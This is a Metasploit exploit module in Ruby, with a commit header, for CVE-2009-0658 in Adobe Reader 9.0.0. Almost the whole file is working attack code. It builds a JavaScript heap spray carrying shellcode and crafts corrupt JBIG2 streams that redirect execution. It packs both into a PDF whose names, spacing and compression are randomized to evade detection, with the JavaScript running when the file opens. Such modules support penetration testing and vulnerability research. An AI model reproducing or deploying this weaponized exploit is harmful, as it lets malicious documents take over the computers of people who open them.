Adobe JBIG2Decode Exploit (CVE-2009-0658)
git-svn-id: file:///home/svn/framework3/trunk@6395 4d416f70-5f16-0410-b530-b9f4589650daunstable
natron
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###
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## This file is part of the Metasploit Framework and may be subject to
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## redistribution and commercial restrictions. Please see the Metasploit
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## Framework web site for more information on licensing and terms of use.
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## http://metasploit.com/projects/Framework/
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###
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require 'msf/core'
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require 'zlib'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Adobe JBIG2Decode Memory Corruption Exploit',
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'Description' => %q{
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This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
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This module relies upon javascript for the heap spray.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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# Metasploit implementation
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'natron',
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# bl4cksecurity blog explanation of vuln [see References]
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'xort & redsand',
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# obfuscation techniques and pdf template from util_printf
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'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE' , '2009-0658' ],
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[ 'blog', 'http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => ""
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => '' } ],
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],
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'DisclosureDate' => 'Feb 2009',
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'DefaultTarget' => 0))
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register_options([
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']),
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OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
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], self.class)
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end
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def exploit
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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nops = Rex::Text.to_unescape(make_nops(4))
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pointerPattern1 = Rex::Text.to_unescape("\x00\x00\x00\x00\x90\x8a\x01\x07")
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pointerPattern2 = Rex::Text.to_unescape("\x90\x8a\x01\x07\x00\x00\x00\x00")
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# Randomize some variables
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rand1 = rand_text_alpha(rand(50) + 1)
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rand2 = rand_text_alpha(rand(50) + 1)
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rand3 = rand_text_alpha(rand(50) + 1)
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rand4 = rand_text_alpha(rand(50) + 1)
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rand5 = rand_text_alpha(rand(50) + 1)
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rand6 = rand_text_alpha(rand(50) + 1)
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rand7 = rand_text_alpha(rand(50) + 1)
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rand8 = rand_text_alpha(rand(50) + 1)
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rand9 = rand_text_alpha(rand(50) + 1)
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rand10 = rand_text_alpha(rand(50) + 1)
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rand11 = rand_text_alpha(rand(50) + 1)
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rand12 = rand_text_alpha(rand(50) + 1)
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rand13 = rand_text_alpha(rand(50) + 1)
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rand14 = rand_text_alpha(rand(50) + 1)
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rand15 = rand_text_alpha(rand(50) + 1)
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rand16 = rand_text_alpha(rand(50) + 1)
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rand17 = rand_text_alpha(rand(50) + 1)
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rand18 = rand_text_alpha(rand(50) + 1)
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rand19 = rand_text_alpha(rand(50) + 1)
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rand20 = rand_text_alpha(rand(50) + 1)
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script = %Q|
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var #{rand1} = "";
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var #{rand2} = "";
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var #{rand3} = unescape("#{shellcode}");
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var #{rand4} ="";
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for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}");
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#{rand6} = #{rand4} + #{rand3};
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#{rand7} = unescape("#{nops}");
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#{rand8} = 20;
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#{rand9} = #{rand8}+#{rand6}.length
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while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};
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#{rand10} = #{rand7}.substring(0, #{rand9});
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#{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});
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while(#{rand11}.length+#{rand9} < 0x43000) #{rand11} = #{rand11}+#{rand11}+#{rand10};
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#{rand12} = new Array();
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for (#{rand5}=0;#{rand5}<500;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};
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for (#{rand5}=64;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{pointerPattern1}");
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#{rand13} = #{rand2}.length + 20
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while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};
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#{rand14} = #{rand2}.substring(0, #{rand13});
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#{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});
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while(#{rand15}.length+#{rand13} < 0x43000) #{rand15} = #{rand15}+#{rand15}+#{rand14};
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#{rand16} = new Array();
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for (#{rand5}=0;#{rand5}<400;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};
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for (#{rand5}=64;#{rand5}>=0;--#{rand5}) #{rand1}+= unescape("#{pointerPattern2}");
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#{rand17} = #{rand1}.length + 20
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while (#{rand1}.length < #{rand17}) #{rand1}+=#{rand1};
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#{rand18} = #{rand1}.substring(0, #{rand17});
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#{rand19} = #{rand1}.substring(0,#{rand1}.length-#{rand17});
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while(#{rand19}.length+#{rand17} < 0x43000) #{rand19} = #{rand19}+#{rand19}+#{rand18};
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#{rand20} = new Array();
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for (#{rand5}=0;#{rand5}<400;#{rand5}++) #{rand20}[#{rand5}] = #{rand19} +#{rand1};
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eaxptr = "\x00\x20\x50\xff" #CALL DWORD PTR DS:[EAX+20]
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eaxp20ptr = "\x0a\x0a\x0a\x0a" #The address eaxptr will call
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#EAX 0x0404dcc3 will write to ~0x537d0080 : heap spray pointer pattern #1
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#EAX 0x0235c936 will write to ~0x2f4f7980 : heap spray pointer pattern #2
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modifier = [ "\x04\x04\xdc\xc3" , "\x02\x35\xc9\x35" ]
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jbig2stream = Array.new
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(0..1).each { |i|
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jbig2stream[i] = eaxptr + "\x40\x00" + modifier[i] + eaxp20ptr
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#print_status "jbig2stream[#{i}]: #{jbig2stream[i]}"
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}
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# Create the pdf
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pdf = make_pdf(script, jbig2stream)
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(pdf)
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end
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def RandomNonASCIIString(count)
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result = ""
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count.times do
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result << (rand(128) + 128).chr
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end
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result
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end
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def ioDef(id)
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"%d 0 obj" % id
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end
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def ioRef(id)
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"%d 0 R" % id
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end
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#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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def nObfu(str)
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result = ""
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str.scan(/./u) do |c|
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if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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result << "#%x" % c[0]
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# Randomize the spaces and newlines
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elsif c == " "
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result << " " * (rand(3) + 1)
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if rand(2) == 0
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result << "\x0d\x0a"
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result << " " * rand(2)
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end
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else
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result << c
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end
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end
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result
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end
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def ASCIIHexWhitespaceEncode(str)
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result = ""
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whitespace = ""
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str.each_byte do |b|
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result << whitespace << "%02x" % b
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whitespace = " " * (rand(3) + 1)
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end
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result << ">"
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end
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def make_pdf(js, jbig2)
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xref = []
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eol = "\x0d\x0a"
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endobj = "endobj" << eol
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# Randomize PDF version?
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pdf = "%%PDF-%d.%d" % [1 + rand(2), 1 + rand(5)] << eol
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pdf << "%" << RandomNonASCIIString(4) << eol
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xref << pdf.length
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pdf << nObfu(" ") << ioDef(1) << nObfu(" << /Type /Catalog /Outlines ") << ioRef(2) << nObfu(" /Pages ") << ioRef(3) << nObfu(" /OpenAction ") << ioRef(5) << " >> " << endobj
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xref << pdf.length
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pdf << nObfu(" ") << ioDef(2) << nObfu(" << /Type /Outlines /Count 0 >> ") << endobj
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xref << pdf.length
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pdf << nObfu(" ") << ioDef(3) << nObfu(" << /Type /Pages /Kids [ ") << ioRef(4) << nObfu(" ") << ioRef(7) << nObfu(" ] /Count 2 >> ") << endobj
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xref << pdf.length
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pdf << nObfu(" ") << ioDef(4) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << nObfu(" /MediaBox [0 0 612 792 ] >> ") << endobj
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xref << pdf.length
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pdf << nObfu(" ") << ioDef(5) << nObfu(" << /Type /Action /S /JavaScript /JS ") + ioRef(6) + " >> " << endobj
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xref << pdf.length
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compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js), rand(5)+4) # Add random 4-9 compression level
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pdf << nObfu(" ") << ioDef(6) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol
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pdf << "stream" << eol
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pdf << compressed << eol
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pdf << "endstream" << eol
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pdf << endobj
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xref << pdf.length
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pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << nObfu(" ") << ioRef(9) << " ] >> " << eol
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(0..1).each { |i|
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xref << pdf.length
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compressed = Zlib::Deflate.deflate(jbig2[i].unpack('H*').to_s, rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
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pdf << nObfu(" ") << ioDef(8 + i) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
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pdf << "stream" << eol
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pdf << compressed << eol
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pdf << "endstream" << eol
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pdf << endobj
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}
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xrefPosition = pdf.length
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pdf << "xref" << eol
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pdf << "0 %d" % (xref.length + 1) << eol
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pdf << "0000000000 65535 f" << eol
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xref.each do |index|
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pdf << "%010d 00000 n" % index << eol
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end
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pdf << "trailer" << nObfu("<< /Size %d /Root " % (xref.length + 1)) << ioRef(1) << " >> " << eol
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pdf << "startxref" << eol
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pdf << xrefPosition.to_s() << eol
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pdf << "%%EOF" << eol
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end
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end
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